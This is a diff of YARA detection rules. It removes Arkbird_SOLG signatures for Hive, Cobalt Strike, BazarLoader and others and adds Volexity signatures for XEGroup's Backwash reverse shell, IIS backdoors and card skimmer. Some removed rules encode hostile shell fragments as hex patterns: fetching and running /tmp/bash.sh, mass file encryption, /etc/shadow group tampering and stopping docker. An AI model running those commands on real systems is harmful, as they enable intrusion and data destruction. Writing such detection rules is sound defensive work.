-		logic_hash = "6fbc6eed7dd7f92af0cd8b3b2726636a64dc8de0b795b176169817994f44d4fa"
+		description = "CPP loader for the Backwash malware."
+		author = "threatintel@volexity.com"
+		id = "8a1c4ff1-1827-5e6f-b838-664d8c3be840"
+		date = "2021-11-17"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L3-L20"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "c8ed2d3103aa85363acd7f5573aeb936a5ab5a3bacbcf1f04e6b298299f24dae"
 		score = 75
-		quality = 61
-		tags = "FILE"
-		hash1 = "1c2b09417c1a34bbbcb8366c2c184cf31353acda0180c92f99828554abf65823"
-		hash2 = "d0d3743384e400568587d1bd4b768f7555cc13ad163f5b0c3ed66fdc2d29b810"
-		hash3 = "e380c4b48cec730db1e32cc6a5bea752549bf0b1fb5e7d4a20776ef4f39a8842"
-		tlp = "White"
-		adversary = "FERRUM"
+		quality = 80
+		tags = "XEGROUP"
+		hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 50 41 53 53 5f 44 45 43 3d 24 28 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 62 61 73 65 36 34 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 64 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 5f 44 45 20 3c 3c 3c 20 24 31 29 }
-		$s2 = { 72 6d 20 2d 72 66 20 24 50 41 54 48 5f 54 45 4d 50 5f 46 49 4c 45 2f 24 4e 41 4d 45 5f 53 43 52 49 50 54 5f 43 52 59 50 54 }
-		$s3 = { 74 65 6c 65 67 72 61 6d 5f 62 6f 74 2f [5-15] 2d 6f 20 22 2f }
-		$s4 = { 2d 6f 20 22 2f 74 6d 70 2f 62 61 73 68 2e 73 68 22 3b 63 64 20 2f 74 6d 70 3b 63 68 6d 6f 64 20 2b 78 20 62 61 73 68 2e 73 68 3b 2e 2f 62 61 73 68 2e 73 68 3b }
-		$s5 = { 78 61 72 67 73 20 2d 50 20 31 30 20 2d 49 20 46 49 4c 45 20 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 }
-		$s6 = { 78 61 72 67 73 20 2d 50 20 31 30 20 2d 49 20 46 49 4c 45 20 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 5f 44 45 43 20 2d 69 6e 20 46 49 4c 45 20 2d 6f 75 74 20 46 49 4c 45 2e }
-		$s7 = { 75 73 65 72 6d 6f 64 20 2d 2d 73 68 65 6c 6c 20 2f 62 69 6e 2f 6e 6f 6c 6f 67 69 6e }
-		$s8 = { 67 72 65 70 20 2d 46 20 22 24 22 20 2f 65 74 63 2f 73 68 61 64 6f 77 20 7c 20 63 75 74 20 2d 64 3a 20 2d 66 31 20 7c 20 67 72 65 70 20 2d 76 20 22 [1-15] 22 20 7c 20 78 61 72 67 73 20 2d 49 20 46 49 4c 45 20 67 70 61 73 73 77 64 20 2d 64 20 46 49 4c 45 20 77 68 65 65 6c }
-		$s9 = { 73 79 73 74 65 6d 63 74 6c 20 73 74 6f 70 20 64 6f 63 6b 65 72 20 26 26 20 73 79 73 74 65 6d 63 74 6c 20 64 69 73 61 62 6c 65 20 64 6f 63 6b 65 72 }
+		$s1 = "cor1dbg.dll" wide
+		$s2 = "XEReverseShell.exe" wide
+		$s3 = "XOJUMAN=" wide
 
 	condition:
-		filesize >5KB and 5 of ($s*)
+		2 of them
 }
-rule ARKBIRD_SOLG_RAN_ELF_Hive_Oct_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Iis_Shellsave : XEGROUP
 {
 	meta:
-		description = "Detect ELF version of Hive ransomware"
-		author = "Arkbird_SOLG"
-		id = "434cfe85-3209-5990-9c68-47ce4fafd5b8"
-		date = "2021-10-29"
-		modified = "2021-10-30"
-		reference = "https://twitter.com/ESETresearch/status/1454100591261667329"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/RAN_ELF_Hive_Oct_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "47ccf3b825521986070dba92194d5937289c0335b922537ea3242c4afb2be237"
-		score = 60
-		quality = 35
-		tags = "FILE"
-		hash1 = "6a0449a0b92dc1b17da219492487de824e86a25284f21e6e3af056fe3f4c4ec0"
-		hash2 = "bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3"
-		tlp = "white"
-		adversary = "-"
-		level = "experimental"
+		description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell. This rule will only work against memory samples."
+		author = "threatintel@volexity.com"
+		id = "a89defa5-4b22-5650-a0c0-f4b3cf3377a7"
+		date = "2021-11-17"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L22-L40"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "f34d6f4ecaa4cde5965f6b0deac55c7133a2be96f5c466f34775be6e7f730493"
+		score = 75
+		quality = 80
+		tags = "XEGROUP"
+		hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 49 3b 66 10 76 ?? 48 83 ec ?? 48 89 6c 24 ?? 48 8d 6c 24 ?? 48 8b [3] 48 }
-		$s2 = { 48 89 f8 48 89 f3 48 83 ec 27 48 83 e4 f0 48 89 44 24 10 48 89 5c 24 18 48 8d 3d 41 [2] 00 48 8d 9c 24 68 00 ff ff 48 89 5f 10 48 89 5f 18 48 89 1f 48 89 67 08 b8 00 00 00 00 0f a2 89 c6 83 f8 00 74 33 81 fb 47 65 6e 75 75 1e 81 fa 69 6e 65 49 75 16 81 f9 6e 74 65 6c 75 0e c6 05 [3] 00 01 c6 05 [3] 00 01 b8 01 00 00 00 0f a2 89 05 [3] 00 48 8b 05 }
-		$s3 = { 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc ?? 66 0f 38 dc }
-		$s4 = { 00 00 48 8b ac 24 68 02 00 00 48 81 c4 70 02 00 00 c3 ?? 80 ?? 0e [6] 48 8b [2] 48 }
+		$s1 = "getdownloadshell" ascii
+		$s2 = "deleteisme" ascii
+		$s3 = "sitepapplication" ascii
+		$s4 = "getapplicationpool" ascii
 
 	condition:
-		uint32(0)==0x464C457F and filesize >20KB and all of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Cobaltstrike_Oct_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Backwash_Iis_Scout : XEGROUP
 {
 	meta:
-		description = "Detect Cobalt Strike implant"
-		author = "Arkbird_SOLG"
-		id = "89d46993-cc1b-536b-b1ab-a0e967d0d397"
-		date = "2021-10-30"
-		modified = "2021-10-30"
-		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_CobaltStrike_Oct_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "4f1a2306b8279be67829d0d515063caae6a9d7a07078a43c2cbe62f675bcb450"
+		description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines."
+		author = "threatintel@volexity.com"
+		id = "1f768b39-21a0-574d-9043-5104540003f7"
+		date = "2021-11-17"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L42-L66"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "18c4e338905ff299d75534006037e63a8f9b191f062cc97b0592245518015f88"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "f520f97e3aa065efc4b7633735530a7ea341f3b332122921cb9257bf55147fb7"
-		hash2 = "7370c09d07b4695aa11e299a9c17007e9267e1578ce2753259c02a8cf27b18b6"
-		hash3 = "bfbc1c27a73c33e375eeea164dc876c23bca1fbc0051bb48d3ed3e50df6fa0e8"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "XEGROUP"
+		hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 48 83 ec 10 4c 89 14 24 4c 89 5c 24 08 4d 33 db 4c 8d 54 24 18 4c 2b d0 4d 0f 42 d3 65 4c 8b 1c 25 10 00 00 00 4d 3b d3 f2 73 17 66 41 81 e2 00 f0 4d 8d 9b 00 f0 ff ff 41 c6 03 00 4d 3b d3 f2 75 ef 4c 8b 14 24 4c 8b 5c 24 08 48 83 c4 10 f2 c3 }
-		$s2 = { 89 ?? 24 ?? 8b ?? 24 0c 89 ?? 24 ?? 8b ?? 24 ?? c1 ?? 0d 89 ?? 24 0c 48 8b ?? 24 10 89 ?? 24 [2] 8b ?? 24 10 }
-		$s3 = { b8 10 00 00 00 48 89 45 ?? e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 48 89 45 ?? 48 89 c8 e8 [3] 00 48 29 c4 48 89 e0 48 8b 4d ?? 8b 55 f8 89 11 4c 8b 45 ?? 4c 8b 4d f0 4d 89 08 4c 8b 55 ?? 4c 8b 5d e8 4d 89 1a 48 8b 75 ?? 48 8b 7d e0 48 89 3e c7 00 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 8b 19 4d 8b 00 4d 8b 32 48 8b 0e 48 83 ec 20 4c 89 f2 41 89 d9 ff d0 48 83 c4 20 ?? 45 }
-		$s4 = { 48 83 ec 48 44 89 4c 24 44 4c 89 44 24 38 48 89 54 24 30 48 89 4c 24 28 c7 44 24 24 ?? 00 00 00 48 8b 05 [3] 00 48 05 [2] 00 00 44 8b 4c 24 44 4c 8b 44 24 38 48 8b 54 24 30 48 8b 4c 24 28 ff d0 90 48 83 c4 }
+		$s1 = "SOAPRequest" ascii
+		$s2 = "requestServer" ascii
+		$s3 = "getFiles" ascii
+		$s4 = "APP_POOL_CONFIG" wide
+		$s5 = "<virtualDirectory" wide
+		$s6 = "stringinstr" ascii
+		$s7 = "504f5354" wide
+		$s8 = "XValidate" ascii
+		$s9 = "XEReverseShell" ascii
+		$s10 = "XERsvData" ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize >20KB and 3 of ($s*)
+		6 of them
 }
-rule ARKBIRD_SOLG_MAL_Bazarloader_Oct_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Web_Js_Xeskimmer : XEGROUP
 {
 	meta:
-		description = "Detect BazarLoader implant"
-		author = "Arkbird_SOLG"
-		id = "d6462e74-fe1d-599e-aac8-0d0942ca42ad"
-		date = "2021-10-30"
-		modified = "2021-10-30"
-		reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_BazarLoader_Oct_2021_1.yara#L1-L17"
-		license_url = "N/A"
-		logic_hash = "afbe02ef9e69ac5105aaae28240d6863c9c4578c0e8fd7c86c38d975cf8acdc6"
+		description = "Detects JScript code using in skimming credit card details."
+		author = "threatintel@volexity.com"
+		id = "2c0911cf-a679-5d4e-baad-777745a28e27"
+		date = "2021-11-17"
+		modified = "2021-12-07"
+		reference = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L68-L97"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "cc46e9fab5f408fde13c3897d378a1a2e4acb448f40ca4935c19024ebdc252d7"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0ba7554e7d120ce355c6995c6af95542499e4ec2f6012ed16b32a85175761a94"
-		hash2 = "2b29c80a4829d3dc816b99606aa5aeead3533d24137f79b5c9a8407957e97b10"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "XEGROUP"
+		hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c7 40 5c 03 00 00 00 b8 60 00 00 00 48 6b c0 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 01 00 00 00 48 8b 44 24 20 c7 40 08 02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 c7 40 10 00 00 00 00 48 8b 44 24 20 c7 40 14 00 00 00 00 48 8b 44 24 20 c7 40 18 00 00 00 00 b8 60 00 00 00 48 6b c0 01 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 00 00 00 b8 60 00 00 00 48 6b c0 02 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 23 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 }
-		$s2 = { 48 8b 44 24 50 48 8b 00 c7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24 50 8b 92 18 01 00 00 89 54 08 2c 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 4c 24 50 e8 80 f8 ff ff 48 8b 4c 24 50 e8 c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 0b 48 8b 44 24 50 83 78 7c 00 7f 1e 48 8b 44 24 50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 0f af 41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 c7 40 18 00 00 00 00 48 8b 4c 24 50 e8 0c fc ff ff 48 8b 4c 24 38 88 41 1c 48 8b 44 24 38 48 c7 40 20 00 00 00 00 48 8b 44 24 38 48 c7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 c0 74 0d 48 8b 44 }
-		$s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4c 24 58 8b 40 10 0f af 41 0c 48 8b 4c 24 58 48 63 49 04 48 8b 94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 0c 44 8b c0 48 8b 44 24 38 48 8b 54 c8 70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c ff ff ff 48 8b 44 24 38 8b 40 18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b 40 14 89 44 24 44 eb 0a 8b 44 24 44 ff c0 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00 00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d e2 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 58 8b 4c 24 44 0f af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb 0a 8b 44 24 48 ff c0 89 44 24 48 48 8b }
+		$s1 = ".match(/^([3456]\\d{14,15})$/g" ascii
+		$s2 = "^(p(wd|ass(code|wd|word)))" ascii
+		$b1 = "c('686569676874')" ascii
+		$b2 = "c('7769647468')" ascii
+		$c1 = "('696D67')" ascii
+		$c2 = "('737263')" ascii
+		$magic = "d=c.charCodeAt(b),a+=d.toString(16);"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >200KB and all of ($s*)
+		all of ($s*) or all of ($b*) or all of ($c*) or $magic
 }
-rule ARKBIRD_SOLG_APT_Kimsuky_Aug_2020_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Xe_Backwash : XEGROUP FILE
 {
 	meta:
-		description = "Detect Gold Dragon used by Kimsuky APT group"
-		author = "Arkbird_SOLG"
-		id = "dd79aa3b-0bbc-5fdd-808e-c2dee6d89804"
-		date = "2020-08-31"
-		modified = "2020-09-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-09-14/Kimsuky/APT_Kimsuky_Aug_2020_1.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "4644ea81535c867a36a882bb270cea784ae135e7acc7078823be0579b1746932"
+		description = "The BACKWASH malware family, which acts as a reverse shell on the victim machine."
+		author = "threatintel@volexity.com"
+		id = "93bbbf58-8ba2-565f-98f5-51d6f1a1ab06"
+		date = "2020-09-04"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L99-L129"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "815d262d38a26d5695606d03d5a1a49b9c00915ead1d8a2c04eb47846100e93f"
+		logic_hash = "cabe7d17017c95943b7ae9d1827b3a5cb8ed3b02506222367498a73fec8d0914"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "4ff2a67b094bcc56df1aec016191465be4e7de348360fd307d1929dc9cbab39f"
-		hash2 = "97935fb0b5545a44e136ee07df38e9ad4f151c81f5753de4b59a92265ac14448"
+		quality = 80
+		tags = "XEGROUP, FILE"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = "/c systeminfo >> %s" fullword ascii
-		$s2 = "/c dir %s\\ >> %s" fullword ascii
-		$s3 = ".?AVGen3@@" fullword ascii
-		$s4 = { 48 6f 73 74 3a 20 25 73 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 25 73 0d 0a 25 73 0d 0a 25 73 }
-		$s5 = "%s?filename=%s" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"userfile\"; filename=\"" fullword ascii
-		$s7 = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii
-		$s8 = "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"" fullword ascii
-		$s9 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
-		$s10 = "\\Microsoft\\HNC" fullword ascii
-		$s11 = "Mozilla/5.0" fullword ascii
+		$pdb1 = "x:\\MultiOS_ReverseShell-master\\Multi-OS_ReverseShell\\obj\\Release\\XEReverseShell.pdb"
+		$pdb2 = "\\Release\\XEReverseShell.pdb"
+		$a1 = "RunServer" ascii
+		$a2 = "writeShell" ascii
+		$a3 = "GetIP" ascii
+		$b1 = "xequit" wide
+		$b2 = "setshell" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >150KB and 8 of them
+		any of ($pdb*) or (( all of ($a*) or all of ($b*)) and filesize <40KB)
 }
-rule ARKBIRD_SOLG_EXP_CVE_2021_1647_Apr_2021_1 : CVE_2021_1647 FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Pngexe : XEGROUP FILE
 {
 	meta:
-		description = "Detect CVE-2021-1647 tool "
-		author = "Arkbird_SOLG"
-		id = "c4c14d22-adf8-51b1-b898-7e253447824f"
-		date = "2021-05-04"
-		modified = "2021-05-05"
-		reference = "-"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-04/CVE-2021-1647/EXP_CVE_2021_1647_Apr_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "58f16973f68b1b792f6f1575b6a3f386493d033767ee97e48a33044e3ddc3426"
+		description = "Detects PNGEXE, a simple reverse shell loader."
+		author = "threatintel@volexity.com"
+		id = "a0168176-6b2d-56ba-baaa-f011d9f5e3ad"
+		date = "2020-09-04"
+		modified = "2021-12-07"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2021/2021-12-06 - XEGroup/indicators/yara.yar#L132-L159"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "72f7d4d3b9d2e406fa781176bd93e8deee0fb1598b67587e1928455b66b73911"
+		logic_hash = "05ab554eaf208ff0f5fde37b835c92e55bf0de21bd2700fdd31d81ba338cbdc7"
 		score = 75
-		quality = 75
-		tags = "CVE-2021-1647, FILE"
-		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
-		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
-		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
-		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
-		tlp = "Green"
-		adversary = "-"
+		quality = 80
+		tags = "XEGROUP, FILE"
+		hash2 = "4d913ecb91bf32fd828d2153342f5462ae6b84c1a5f256107efc88747f7ba16c"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
-		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
+		$a1 = "amd64.png" ascii
+		$a2 = "x86.png" ascii
 
 	condition:
-		filesize >10KB and all of them
+		uint16(0)==0x5A4D and (( any of ($a*) and filesize >30KB and filesize <200KB) or pe.imphash()=="ca41f83b03cf3bb51082dbd72e3ba1ba" or pe.imphash()=="e93abc400902e72707edef1f717805f0" or pe.imphash()=="83a5d4aa20a8aca2a9aa6fc2a0aa30b0")
 }
-rule ARKBIRD_SOLG_RAN_Nemty_June_2021_1 : FILE
+import "pe"
+
+rule VOLEXITY_Trojan_Win_Backwash_Iis : XEGROUP
 {
 	meta:
-		description = "Detect Nemty ransomware"
-		author = "Arkbird_SOLG"
-		id = "1c7994b8-7479-5679-91a5-e3ca4b2e7fde"
-		date = "2021-06-12"
-		modified = "2021-06-13"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-12/Nemty/RAN_Nemty_June_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "25a9e82ae1e950e1c71d6dfa120efd1a2ba39cbf8e9c2cd4ba4e67ce7dabc45e"
+		description = "Variant of the BACKWASH malware family with IIS worm functionality."
+		author = "threatintel@volexity.com"
+		id = "08a86a58-32af-5c82-90d2-d6603dae8d63"
